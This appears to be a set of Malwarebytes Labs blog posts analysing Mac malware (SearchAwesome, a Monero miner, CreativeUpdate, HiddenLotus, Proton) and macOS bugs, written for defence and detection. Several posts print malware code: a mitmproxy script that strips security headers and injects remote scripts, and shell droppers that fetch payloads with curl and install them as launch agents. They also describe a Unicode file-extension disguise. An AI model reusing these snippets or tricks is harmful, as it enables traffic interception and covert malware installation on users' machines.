Mac malware intercepts encrypted web traffic for ad injection

Last week, Malwarebytes researcher Adam Thomas found an interesting new piece of Mac malware that exhibits some troubling behaviors, including intercepting encrypted web traffic to inject ads. Let’s take a closer look at this adware, which Malwarebytes for Mac detects as OSX.SearchAwesome, to see how it’s installed, its behavior, and the implications of this kind of attack.


The malware is found on a rather bland disk image file, without any of the usual decorations that could make it look like a legitimate installer.

When opened, the app does not present an installer display but instead invisibly installs its components. The only evidence that it is doing anything at all comes from two authentication requests. The first is a request to authorize changes to Certificate Trust Settings.

The second is to allow something called spi to modify the network configuration.

Since this malware was delivered at a second stage, downloaded by another malicious installer—a supposed cracked app from a torrent—this makes sense. It has no need for a pretty user interface, as the user will never see anything more than the password requests, and those will be within the context of another installer.

Adware behavior

The spinstall app, like lots of adware, installs an application and a couple launch agents:


The spid.plist agent is designed to launch, but interestingly is not designed to keep the app running constantly. If the user forces the app to quit, it will not re-open until the computer restarts or the user logs out and back in.

Interestingly, the spid-uninstall.plist agent monitors for removal, and if the app gets removed somehow, it removes the other components of the malware. (More on this shortly.)

However, it also diverges significantly from other adware by installing a certificate to be used for a man-in-the-middle (MitM) attack, where malware is able to insert itself into a chain of custody somewhere, typically with network packets.

In this case, the malware uses the certificate as the first step in gaining access to https traffic, which is normally encrypted between the browser and the website and can’t be viewed by other software. However, a certificate that is trusted by the system—and, if you entered your password when asked during installation, the certificate will be trusted—can be used to intercept https traffic.

Next, the malware installs an open-source program called mitmproxy. According to the mitmproxy website, the software “can be used to intercept, inspect, modify, and replay web traffic.” With the certificate, which is actually owned by the mitmproxy project, the software is able to do this not just with unencrypted http traffic, but also with encrypted https traffic.

The software is designed to use this capability to modify web traffic for the purpose of injecting JavaScript into every page. This can be seen in an script installed by the malware:

from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    if flow.response.status_code == 200:
        if "text/html" in flow.response.headers["content-type"]:
            flow.response.headers.pop("content-security-policy", None)
            flow.response.headers.pop("content-security-policy-report-only", None)
            script_url = ""
            html = flow.response.content
            html = html.decode().replace("", "http://+script_url+")
            flow.response.content = str(html).encode("utf8")

As shown here, the malware injects a script loaded from a malicious website at the end of every webpage loaded on the infected computer.


If is deleted, the spid-uninstall.plist agent will run the following script:

if ! [ -d "/Applications/" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off

VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)

curl "$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"

defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall

rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist

This does several things. First, it disables the proxy that was set up initially. Next, it gets some information from the program’s preferences and sends that information up to a web server. Finally, it removes the preferences and the launch agents (though it does not properly unload them).

At the first step in the process, the script will cause an authentication request to appear four times, each time requiring a password.

I generally do not recommend using uninstallers that are provided by the malware you want to remove. There have been a number of cases where an uninstaller has been known to install new components while removing others. An example is the Genieo malware, which has been known to do this repeatedly over the years, starting back in 2014.

In the case of this uninstaller, it’s important to note that it leaves behind the mitmproxy software, as well as the certificate used by mitmproxy to access encrypted web traffic, which has been marked as trusted by the system.


This adware, at first glance, seems to be fairly innocuous, since it’s just injecting a script that serves up advertisements. Looks can be deceiving, though. Since that script is being loaded from a server, that server’s content could change at any time. It could change from serving ads to siphoning off user data or redirecting the user to a phishing site. Imagine, for example, if a script were injected only on a particular bank’s website, and that script redirected the user to a phishing page designed to steal the user’s banking credentials.

The injected script could be used to do anything, from mining cryptocurrency to capturing browsing data to keylogging and more. Worse, the malware itself could invisibly capture data through the MitM attack, without relying on JavaScript or modifying the web page content.

Even once the malware is gone, its potential for damage is not over. By leaving behind the tools it used to execute a MitM attack, it sets up a situation where another piece of malware—perhaps one more nefarious than this one—could take advantage of the presence of those tools to do its own capturing of encrypted web traffic.

Malwarebytes for Mac will detect and remove the components of this malware, which is detected as OSX.SearchAwesome. However, it will not remove the components of mitmproxy, since that is a legitimate open-source tool. If you are infected, you should remove the mitmproxy certificate from the keychain (using Keychain Utility).

Indicators of compromise

If you see any of the following on a Mac, they are indicators that the machine has been infected with this malware:


The following items are a sign that mitmproxy is or has been installed:


A certificate with the common name mitmproxy:

The post Mac malware intercepts encrypted web traffic for ad injection appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

New Mac cryptominer uses XMRig

A new Mac cryptominer was discovered this week, after affected users saw their fans whirring out of control and a process named “mshelper” gobbling up CPU time like Cookie Monster. Fortunately, this malware is not very sophisticated and is easy to remove.

The malware became public knowledge in a post on Apple’s discussion forums, where the “mshelper” process was found to be the culprit. Digging deeper, it was discovered that there were a couple other suspicious processes installed as well. We went searching and found copies of these files.

The malware is mining for Monero cryptocurrency. Here’s a breakdown of its components.

The dropper

A “dropper” is what security researchers call the program that installs malware. Often, Mac malware is installed by things like fake Adobe Flash Player installers, downloads from piracy sites, decoy documents users are tricked into opening, and other such things.

In this case, the dropper is still unknown, but we do not believe it’s anything sophisticated. Everything else about this malware suggests simplicity.

The launcher

A file named pplauncher is installed in the following location:

~/Library/Application Support/pplauncher/pplauncher

This file is kept running by a launch daemon (com.pplauncher.plist), indicating that the dropper must have had root privileges.

pplauncher is a rather large executable file (3.5 MB) that was written in Golang and then compiled for macOS. The sole responsibility of this process appears to be the fairly simple process of installing and launching the miner process.

Using Golang introduces significant overhead, resulting in a binary file containing more than 23,000 functions. Using this for what appears to be simple functionality is probably a sign that the person who created it is not particularly familiar with Macs.

pplauncher SHA256:

The miner

The miner is the mshelper process, which is installed here:


This process appears to be an older version of the legitimate XMRig miner, which can be installed on Macs via Homebrew. Getting the version information from the current XMRig gives the following results:

$ xmrig -V
XMRig 2.6.2
 built on May  7 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: 64-bit AES

Requesting the same information from the mshelper process gives the following results:

$ /tmp/mshelper/mshelper -V
XMRig 2.5.1
 built on Mar 26 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: x86_64 AES-NI

Clearly, mshelper is simply an older copy of XMRig that is being used for the purpose of generating the cryptocurrency for the hacker behind the malware. The pplauncher process provides the necessary command-line arguments, such as the following parameter specifying the user, found using the strings command on the pplauncher executable file:

mshelper SHA256:

Mac cryptomining on the rise

This malware is not particularly dangerous, unless your Mac has a problem like damaged fans or dust-clogged vents that could cause overheating. Although the mshelper process is actually a legitimate piece of software being abused, it should still be removed along with the rest of the malware.

Mac cryptomining malware has been on the rise recently, just as in the Windows world. This malware follows other cryptominers for macOS, such as Pwnet, CpuMeaner, and CreativeUpdate. I’d rather be infected with a cryptominer than some other kind of malware, but that doesn’t make it a good thing.

If you think you’re infected with this malware, Malwarebytes for Mac will remove it. We detect this malware as OSX.ppminer.

The post New Mac cryptominer uses XMRig appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

New Mac cryptominer distributed via a MacUpdate hack

Early this morning, security researcher Arnaud Abbati of SentinelOne tweeted about new Mac malware being distributed via MacUpdate. This malware, which Abbati has named OSX.CreativeUpdate, is a new cryptocurrency miner, designed to sit in the background and use your computer’s CPU to mine the Monero currency.

The malware was spread via hack of the MacUpdate site, which was distributing maliciously-modified copies of the Firefox, OnyX, and Deeper applications. According to a statement posted in the comments for each of the affected apps on the MacUpdate website, this happened sometime on February 1.

Both OnyX and Deeper are products made by Titanium Software (, but the site was changed maliciously to point to download URLs at, a domain first registered on January 23, and whose ownership is obscured. The fake Firefox app was distributed from (Notice the domain ends in, which is definitely not the same as This is a common scammer trick to make you think it’s coming from a legitimate site.)

The downloaded files are .dmg (disk image) files, and they look pretty convincing. In each case, the user is asked to drag the app into the Applications folder, as would the original, non-malicious .dmg files for those apps.

The applications themselves were, as Abbati indicated in his tweet, created by Platypus, a developer tool that makes full macOS applications from a variety of scripts, such as shell or Python scripts. This means the creation of these applications had a low bar for entry.

Once the application has been installed, when the user opens it, it will download and install the payload from (a legitimate site owned by Adobe). Then, it attempts to open a copy of the original app (referred to as a decoy app, because it is used to trick the user into thinking nothing’s wrong), which is included inside the malicious app.

However, this isn’t always successful. For example, the malicious OnyX app will run on Mac OS X 10.7 and up, but the decoy OnyX app requires macOS 10.13. This means that on any system between 10.7 and 10.12, the malware will run, but the decoy app won’t open to cover up the fact that something malicious is going on. In the case of the Deeper app, the hackers got even sloppier, including an OnyX app instead of a Deeper app as the decoy by mistake, making it fail similarly but for a more laughable reason.

The “script” file inside the app takes care of opening the decoy app, and then downloading and installing the malware.

if [ -f ~/Library/mdworker/mdworker ]; then
killall Deeperd
nohup curl -o ~/Library/
 content_disposition=attachment && unzip -o ~/Library/ -d
 ~/Library && mkdir -p ~/Library/LaunchAgents && mv
 ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300
 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf
 ~/Library/ && killall Deeperd &

For those who can’t read shell scripts, this code first attempts to open the decoy, which will fail since the wrong decoy was included by mistake. Next, if the malware is already installed, the malicious dropper process is killed, since installation is not necessary.

If the malware is not installed, it will download the malware and unzip it into the user’s Library folder, which is hidden in macOS by default, so most users wouldn’t even know anything had been added there. It also installs a malicious launch agent file named MacOSupdate.plist, which recurrently runs another script.

 launchctl unload -w ~/Library/LaunchAgents/MacOS.plist && rm
   -rf ~/Library/LaunchAgents/MacOS.plist && curl -o
   content_disposition=attachment && launchctl load -w
   ~/Library/LaunchAgents/MacOS.plist &&

When this launch agent runs, it downloads a new MacOS.plist file and installs it. Before doing so, it will remove the previous MacOS.plist file, presumably so it can be updated with new code. The version of this MacOS.plist file that we obtained did the real work.

sh -c ~/Library/mdworker/sysmdworker -user -xmr

This loads a malicious sysmdworker process, passing in a couple arguments, one of which is an email address.

That sysmdworker process will then do the work of mining the Monero cryptocurrency, using a command-line tool called minergate-cli, and periodically connecting to, passing in the above email address as the login.

There are multiple takeaways from this. First and foremost, never download software from any kind of “download aggregation” site (a site that acts like an unofficial Mac App Store to let you browse for software). Such sites have a long history of issues. In the case of MacUpdate, back in 2015 they were modifying other people’s software, wrapping it in their own adware-laden installer. This is no longer happening, but in 2016, MacUpdate was similarly used to distribute the OSX.Eleanor malware.

Instead, always download software directly from the developer’s site or from the Mac App Store. These are not guarantees, and can still get you infected with malware, adware, or scam software. But your odds are better. Be sure to check around to make sure the software is legitimate before downloading, but do not give full credence to ratings or reviews on third-party sites or the Mac App Store, as those can be faked.

Second, if you have downloaded a new application and it seems not to be functioning as expected—such as not opening at all when you double-click it—be suspicious. Consider scanning your computer with security software. Malwarebytes for Mac will detect this malware as OSX.CreativeUpdater.

Finally, be aware that the old adage that “Macs don’t get viruses,” which has never been true, is proven to be increasingly false. This is the third piece of Mac malware so far this year, following OSX.MaMi and OSX.CrossRAT. That doesn’t even consider the wide variety of adware and junk software out there. Do not let yourself believe that Macs don’t get infected, as that will make you more vulnerable.

The post New Mac cryptominer distributed via a MacUpdate hack appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Interesting disguise employed by new Mac malware HiddenLotus

On November 30, Apple silently added a signature to the macOS XProtect anti-malware system for something called OSX.HiddenLotus.A. It was a mystery what HiddenLotus was until, later that same day, Arnaud Abbati found the sample and shared it with other security researchers on Twitter.

The HiddenLotus “dropper” is an application named Lê Thu Hà (HAEDC).pdf, using an old trick of disguising itself as a document—in this case, an Adobe Acrobat file.

This is the same scheme that inspired the file quarantine feature in Mac OS X. Introduced in Leopard (Mac OS X 10.5), this feature tagged files downloaded from the Internet with a special piece of metadata to indicate that the file had been “quarantined.” Later, when the user tried to open the file, if it was an executable file of any kind, such as an application, the system would display a warning to the user.

The intent behind this feature was to ensure that the user knew that the file they were opening was an application, rather than a document. Even back in 2009, malicious apps were masquerading as documents. File quarantine was meant to combat this problem.

Malware authors have been using this trick ever since, despite file quarantine. Even earlier this year, repeated outbreaks of the Dok malware were distributed in the form of applications disguised as Microsoft Word documents.

So HiddenLotus didn’t seem all that interesting at first, other than as a new variant of the OceanLotus backdoor first seen being used to attack numerous facets of Chinese infrastructure. OceanLotus was last seen earlier this summer, disguised as a Microsoft Word document and targeting victims in Vietnam.

But there was something strange about HiddenLotus. Unlike past malware, this one didn’t have a hidden .app extension to indicate that it was an application. Instead, it actually had a .pdf extension. Yet the Finder somehow identified it as an application anyway.

This was quite puzzling. Further investigation did not turn up a hidden extension. There was also no sign of a trick like the one used by Janicab in 2013.

Janicab used the old fake document technique, being distributed as a file named (apparently) “RecentNews.ppa.pdf.” However, the use of an RLO (right-to-left override) character caused characters following it to be displayed as if they were part of a language meant to be read right-to-left, instead of left-to-right as in English.

In other words, Janicab’s real filename was actually “,” but the presence of the RLO character after the first period in the name caused everything following to be displayed in reverse in the Finder.

However, this deception was not used in HiddenLotus. Instead, it turned out that the ‘d’ in the .pdf extension was not actually a ‘d.’ Instead, it was the Roman numeral ‘D’ in lowercase, representing the number 500.

It was at this point that Abbati’s tweet referring to “its very nice small Roman Unicode” began to make sense. However, it was still unclear exactly what was going on, and how this special character allowed the malware to be treated as an application.

After further consultation with Abbati, it turned out that there’s something rather surprising about macOS: An application does not need to have a .app extension to be treated like an application.

An application on macOS is actually a folder with a special internal structure called a bundle. A folder with the right structure is still only a folder, but if you give it an .app extension, it instantly becomes an application. The Finder treats it as if it were a single file instead of a folder, and a double-click launches the application rather than opening the folder.

When double-clicking a file (or folder), LaunchServices will consider the extension first. If the extension is known, the item will be opened according to that extension. Thus, a file with a .txt extension will, by default, be opened with TextEdit. Some folders may be treated as documents, as in the case of the .aplibrary extension used for an Aperture library “file.” A folder with the .app extension will, assuming it has the right internal structure, be launched as an application.

A file with an unfamiliar extension is handled by asking the user what they want to do. Options are given to choose an application to open the file or to search the Mac App Store.

However, something strange happens when double-clicking a folder with an unknown extension. In this case, LaunchServices falls back on looking at the folder’s bundle structure (if any).

So what does this mean? The HiddenLotus dropper is a folder with the proper internal bundle structure to be an application, and it uses an extension of .pdf, where the ‘d’ is a Roman numeral, not a letter. Although this extension looks exactly the same as the one used for Adobe Acrobat files, it’s completely different, and there are no applications registered to handle that extension. Thus, the system will fall back on the bundle structure, treating the folder as an application, even though it does not have a telltale .app extension.

There is nothing particularly special about this .pdf extension (using a Roman numeral ‘d’) except that it is not already in use. Any other extension that is not in use will work just as well:

Of course, the example shown above wouldn’t fool anyone, it’s merely illustrative of the issue.

This means that there is an enormously large list of possible extensions, especially when Unicode characters are included. It is easily possible to construct extensions from Unicode characters that look exactly like other, normal extensions, yet are not the same. This means the same trick could be used to mimic a Word document (.doc), an Excel file (.xls), a Pages document (.pages), a Numbers document (.numbers), and so on.

This is a neat trick, but it’s still not going to get past file quarantine. The system will alert you that what you’re trying to open is an application. Unless, of course, what you are opening was downloaded via an application that does not use the APIs that properly set the quarantine flag on the file, as is the case for some torrent apps.

Ultimately, it’s very unlikely that this trick is going to have any kind of significant impact on the Mac threat landscape. It’s probable that we will see it used again in the future, but the risk to the average user is not significantly higher than in the case of any other fake document malware.

More than anything else, this trick opens our eyes to an interesting aspect of how macOS identifies and launches applications.

If you think you may have encountered this malware, Malwarebytes for Mac will protect against it, and will scan for and remove it, if present, for free.

The post Interesting disguise employed by new Mac malware HiddenLotus appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Yet another flaw in Apple’s “iamroot” bug fix

Last week, we discussed a particularly serious vulnerability, dubbed “iamroot,” in macOS 10.13 (High Sierra). To sum up, the vulnerability allows an attacker to gain access to the ultra-powerful root user on any Mac running macOS 10.13.0 or 10.13.1. Worse, the vulnerability can be exploited remotely if screen sharing is turned on.

Security Update 2017-001

In response to this, Apple quickly pushed a fix out the door in the form of Security Update 2017-001. Confusingly, Apple has already released a Security Update 2017-001 several times. It released two back in March, for macOS 10.9 and 10.10 (Yosemite and El Capitan). It released another in October for macOS 10.11 (Sierra). Yes, you read that right…Apple’s using the same name for unrelated security fixes for different versions of the system.

Okay, back to the fix. Security Update 2017-001—the one for High Sierra—was released to fix the “iamroot” bug, and it was released for both macOS 10.13.0 and 10.13.1. Because of the severity of the problem, this update was pushed out automatically. In other words, if you don’t install it right away, it will be installed automatically after a fairly short interval. It’s a quick install and doesn’t require a reboot.

Great, the bug is fixed. We can all go home now! Wait, what’s that you say, Bob? Something’s wrong with file sharing?

Apparently, Apple’s first attempt at fixing the bug had a problem. Specifically, it made file sharing stop working. So if you relied on being able to use file sharing to move files from one Mac to another, this update wreaked havoc with your workflow.

Security Update 2017-001 2.0

Apple quickly released a technical note about the file sharing problem, and how to fix it, and then re-issued Security Update 2017-001. Yup, that’s a second Security Update 2017-001, not Security Update 2017-002. Thus, people who had already installed Security Update 2017-001 found themselves wondering why they had to install it again. Fortunately, again, the update was automatic. So if you didn’t do it manually, your confusion wasn’t going to keep you from getting the update.

Great, now everything’s fixed. Time to go home for real. Sorry, Bob. You’re going to have to go back to your desk in IT. You’ve got another problem to deal with now. Take note of the fact that this second update increments the build number of macOS to 17B1003. This will be important later.

Remember how we said that Security Update 2017-001 could be applied to both macOS 10.13.0 and 10.13.1? What happens if you install the update on 10.13.0, then update later to 10.13.1? Turns out, it’s bad.

If you install Security Update 2017-001 on 10.13.0, then update to 10.13.1, the bug will re-emerge. The process of installing the 10.13.1 undoes the fix that was applied by Security Update 2017-001, making the machine vulnerable to the “iamroot” bug again.

Of course, Security Update 2017-001 exists for 10.13.1 as well, and will be automatically re-applied sometime after the 10.13.1 update. Crisis averted, right? Bob, you’re really going to have to stop jumping out of your chair every couple paragraphs. I know you want to go home, but unfortunately, there’s still a problem.

You’ve upgraded from 10.13.0 to 10.13.1. You’ve installed Security Update 2017-001. And you’ve verified that you’re running macOS 10.13.1 build 17B1003 (which you can do by choosing About This Mac from the Apple menu and clicking the version number in the window that opens). Unfortunately, you are still vulnerable!

How to fix the problem

So, to sum up, what we’ve described above involves the following steps:

  1. Install Security Update 2017-001 on macOS 10.13.0
  2. Update to macOS 10.13.1
  3. Install Security Update 2017-001 again
  4. Verify that you’re running macOS 10.13.1 build 17B1003

After doing this, you should be safe from “iamroot.” However, in reality, an attacker would still be able to trigger the original vulnerability and gain root access.

It turns out that restarting the computer will fix the problem, with no further changes needed. This begs the question, though: Why is this necessary? After all, Security Update 2017-001 doesn’t normally require a restart. Why is one required in this specific case?

Since the update doesn’t require a restart, and since many Mac users can be rather averse to restarting, this means that people upgrading from 10.13.0 to 10.13.1 could easily end up being vulnerable to this bug for weeks or months, until they next decide to restart. Keep in mind that nearly all 10.13.0 users have probably already had Security Update 2017-001 installed automatically at this point, putting them into a pipeline heading straight for this issue.

Over the weekend, Apple released a fix and added a mention of the problem to their notes on Security Update 2017-001. Rather than releasing yet another iteration of Security Update 2017-001, Apple added a fix to the MRT application. MRT, which stands for Malware Removal Tool, is not something Apple talks about, and little is known about exactly how it works. It is known, though, that MRT is designed to remove malware that has already infected the system.

If you’re wondering why Apple would release a fix for this bug in MRT, that’s an excellent question. It doesn’t seem to make much sense and feels a bit like a hack to me. My guess is that MRT was something that could be easily and quietly updated, so that’s what they did.

A series of unfortunate events

Now, to be fair, Apple reacted to the original vulnerability quickly, and any rushed fix has a risk of problems. However, this isn’t an isolated incident, and it has Apple fans worried.

In October, there was a problem with certain authentication dialogs revealing the password in the place of the password hint. That has been followed up with the “iamroot” bug and an embarrassing series of buggy responses, which prompted Apple to issue a rare public apology. Now, the latest response to the bugs in the “iamroot” fixes feels more like a hack meant to go unnoticed than anything else.

On top of all that, this weekend, Apple released iOS 11.2 on a Saturday (which is unusual), apparently to address a problem that caused many iOS devices to start crashing on December 2 after 12:15 am. This suggests that the iOS 11.2 release was probably rushed, and time will tell whether there are any issues with the update as a result.

This has many worried about what’s going on at Apple these days. I’ve been using Apple products since 1984, and I’ll be honest: I’m worried about the future of the Mac. Admittedly, I’m not as worried as I was back in the 90s, when Apple was floundering and looked like it could go out of business. However, I do hope that Apple is able to put some of its vast resources to the task of improving the quality assurance process and reverse the worrying trend of increasing bugginess of macOS releases.

The post Yet another flaw in Apple’s “iamroot” bug fix appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

OSX.Proton spreading through fake Symantec blog

Sunday night, a series of tweets from security researcher @noarfromspace revealed a new variant of the OSX.Proton malware, spreading in a concerning new method—spoofing security company Symantec’s blog.

Method of infection

The malware is being promoted via a fake Symantec blog site at symantecblog[dot]com. The site is a good imitation of the real Symantec blog, even mirroring the same content. The registration information for the domain appears, on first glance, to be legitimate, using the same name and address as the legitimate Symantec site. The email address used to register the domain is a dead giveaway, however:

Even more suspicious is the certificate used by the site. It is legitimate SSL certificate, but was issued by Comodo rather than Symantec’s own certificate authority.

The fake site contains a blog post about a supposed new version of CoinThief, a piece of malware from 2014. The fake post claims that a new variant of CoinThief has been spotted. In fact, as far as I’ve been able to determine, this is a made-up story, and no such new variant of CoinThief actually exists.

The fake post promotes a program called “Symantec Malware Detector,” supposedly to detect and remove the malware. No such program actually exists.

Unfortunately, links to the fake post have been spreading on Twitter. Some of the accounts tweeting the link appear to be fake accounts, but others seem to be legitimate. Given the fact that the primary goal of the Proton malware is to steal passwords, these could be hacked accounts whose passwords were compromised in a previous Proton outbreak. However, they could also simply be the result of people being tricked into thinking the fake blog post is real.

Users who download and run the “Symantec Malware Detector” will instead be infected with malware.

Malware behavior

When run, the malicious Symantec Malware Detector application displays a very simple window, using the Symantec logo:

If the user quits the application at this point, the malware does not actually get installed. However, let’s be honest—if you’ve been tricked into downloading and opening this application, you probably won’t bail out at this point.

Clicking the “Check” button results in a request for an admin password:

The average Mac user has seen these kinds of password request many times before, so again, this is unlikely to raise suspicions among users who have gotten this far. In reality, this is a very well-done fake and will give the malware your password. (Unlike the legitimate password request this is designed to imitate, which does not give the requesting software the user’s password.)

If an admin password is provided, the application displays a progress bar claiming to be scanning the computer.

In reality, however, the application has installed the Proton malware.

The malware will begin capturing information, including logging the user’s admin password in clear text, among a lot of other personally-identifying information (PII) to a hidden file:


 test%E2%80%99s Mac


The malware also captures and exfiltrates things like keychain files, browser auto-fill data, 1Password vaults, and GPG passwords. Since the malware has phished the user’s password, the hackers will be able to decrypt the keychain files at a minimum.

Indicators of compromise

The Symantec Malware Detector application is, as far as I’m able to determine, a completely made-up name. If you see such an application—perhaps in the Downloads folder, or perhaps in the Applications folder, depending on where the user puts it—it should be deleted.

If you are unsure of whether the application is actually malicious, you can check the code signature. Enter the following command in the Terminal, substituting the actual path:

codesign -dvvv "path/to/Symantec Malware"

The malicious application has been signed by someone named Sverre Huseby, using a certificate with a team identifier of E224M7K47W. Anything signed with this certificate should be considered malicious.

Once this malicious “dropper” application has been run, the following paths will be found on the system:


The .random directory holds the malicious Proton executable, which is kept running by the launch agent. The .cachedir folder contains data that has been or will be exfiltrated.

In addition to these files, the /private/etc/sudoers file will have been modified. The following line will have been added to the end:

Defaults !tty_tickets

That line should be removed from the sudoers file.

Fortunately, Apple is aware of this malware and has revoked the certificate used to sign the malware. This will prevent future infections by the Symantec Malware Detector. Revoking the certificate will not, by itself, do anything to protect a machine that is already infected.


Malwarebytes for Mac will detect and remove Proton infections for free. If you find your Mac to be infected, it’s quite easy to remove the malware. However, removing the malware is only a part of the solution.

Since Proton is designed to steal login credentials, you will need to take some emergency actions post-infection. You should treat all online passwords as compromised and change them all. Be sure, while you’re at it, to use different passwords on every site, and use a password manager (such as 1Password or LastPass) to keep track of them. Since 1Password vaults are a target of Proton, be sure that you don’t store your password manager’s master password in your keychain or anywhere else on the computer. That should be the one and only password that you memorize, and it should be strong.

You should also enable two-factor authentication on every account that will allow you to do so. That will minimize the impact of such breaches in the future by ensuring that a hacker will need more than just your password to access your accounts.

In addition to passwords, you should consider any other information that may have been part of the compromise. For example, if you store credit card numbers or other sensitive data in the keychain, it should be treated as compromised and you should respond accordingly.

As always, if the machine that was compromised was issued to you by your employer, or has company data on it, you should notify IT immediately. Failure to do so could lead to a very serious breach of your company’s systems.


Proton has been circulating for quite some time after its initial appearance in March. It has previously been distributed via a compromise of the Handbrake application and a similar compromise of a couple Eltima Software applications. It is highly likely that Proton will continue to circulate, and similar incidents will continue to occur.

Proton illustrates an increasing problem in the Mac community. The prevailing attitude that you can avoid Mac malware if you’re careful enough is failing in the face of supply chain attacks, such as the hacks of the Handbrake and Eltima Software systems.

Further, so-called “fake news” being used to distribute malware is a highly dangerous threat. Many people these days are looking to download malware removal software for the Mac, due to the increasing prevalence of annoying Mac adware. Unfortunately, it is often the case that such software will be downloaded after a search that gives questionable results, or after seeing a recommendation from a hacked or fake account on social media or forums.

Macs are the targets of an increasing amount of malware. They can no longer be assumed to be safe. The old advice that “Macs don’t get viruses,” which can still be found echoing in many Mac-centric forums, has never been true, and this is becoming increasingly obvious to those following such events. Do not fall victim due to a false sense of security caused by the fact that you have a Mac!

The post OSX.Proton spreading through fake Symantec blog appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Keychain vulnerability in macOS

On Monday, Patrick Wardle, a respected security researcher at Synack and owner of Objective-See, sent a tweet about a keychain vulnerability he had found in macOS High Sierra. As his tweet showed, it is possible for a malicious app to extract, and then exfiltrate, keychain data from High Sierra, with passwords clearly exposed in plain text.

In response to some questions, Wardle has also posted some additional information in an FAQ on Patreon.

This announcement set off a firestorm of articles on a variety of sites, which unfortunately caused a lot of FUD (fear, uncertainty, and doubt). In at least one case, I saw an article saying to hold off on installing High Sierra until this bug is fixed. It seems that many of these articles were written based solely on the contents of that tweet, but there is much more to be said.

It’s important to understand that the idea that people should wait to install High Sierra because of this bug is a very bad one, for multiple reasons.

First, as Wardle points out in his FAQ, this bug also affects Sierra and probably affects El Capitan as well. For all we know, it may go back further than that… only testing older systems can say for sure. So, you’ve probably got the vulnerability already anyway, whether you upgrade to High Sierra or not.

Second, installing updates and upgrades is an extremely important thing to do to keep yourself secure. If you don’t update, you don’t get important security fixes. If you skip upgrading to High Sierra because of one vulnerability (which you’re already vulnerable to anyway), that may mean that you will continue to be vulnerable to other issues that may have been fixed in High Sierra, but not in Sierra.

Keep in mind that the Mac fix for the extremely serious Broadpwn vulnerability was, apparently, only applied to macOS Sierra 10.12.6. So the old common knowledge that Mac security fixes go into the last three systems (El Capitan, Sierra, and High Sierra) does not seem to still be true, if it ever really was.

Third, let’s pretend for a moment that this was a vulnerability only affecting High Sierra. If you skip High Sierra, that implies that you think doing so makes you safe from keychain theft. Think again.

Consider, for example, the issue described in a blog post by Brenton Henry, in which a combination of an Apple tool and an AppleScript could be used to extract the contents of the keychain. That issue exists on older systems, but not Sierra or High Sierra.

Not only is the issue described by Henry a vulnerability that still exists on older systems, it’s a known vulnerability. That means that any script kiddie capable of doing a Google search would be able to implement it; it’s not that hard to do. Nobody knows yet how the vulnerability found by Wardle works, only that it exists.

As another example, think about the compromise of the HandBrake app in May, which led to systems being infected with the Proton malware. In that case, Proton was able to successfully trick the user into providing their password, and then exfiltrated that and their keychain files (among other things), which could be unlocked using that same password in most cases.

There was also the case of an interesting sample of the Dok malware one of our researchers received in a junk e-mail, which used an open-source Python remote access tool (RAT) that had the capability to exfiltrate the keychain and convincingly phish a user’s password.

These last two examples would work on any system, including High Sierra since they involve theft of both the user’s password and the keychain files.

Don’t get me wrong, this is a very bad vulnerability, and Apple should fix it as soon as possible. However, it’s not a world-ending catastrophe, nor is it a good reason to avoid installing High Sierra. There will always be vulnerabilities. Keeping your system and your software up-to-date is one of the best ways you can cope with them.

The post Keychain vulnerability in macOS appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed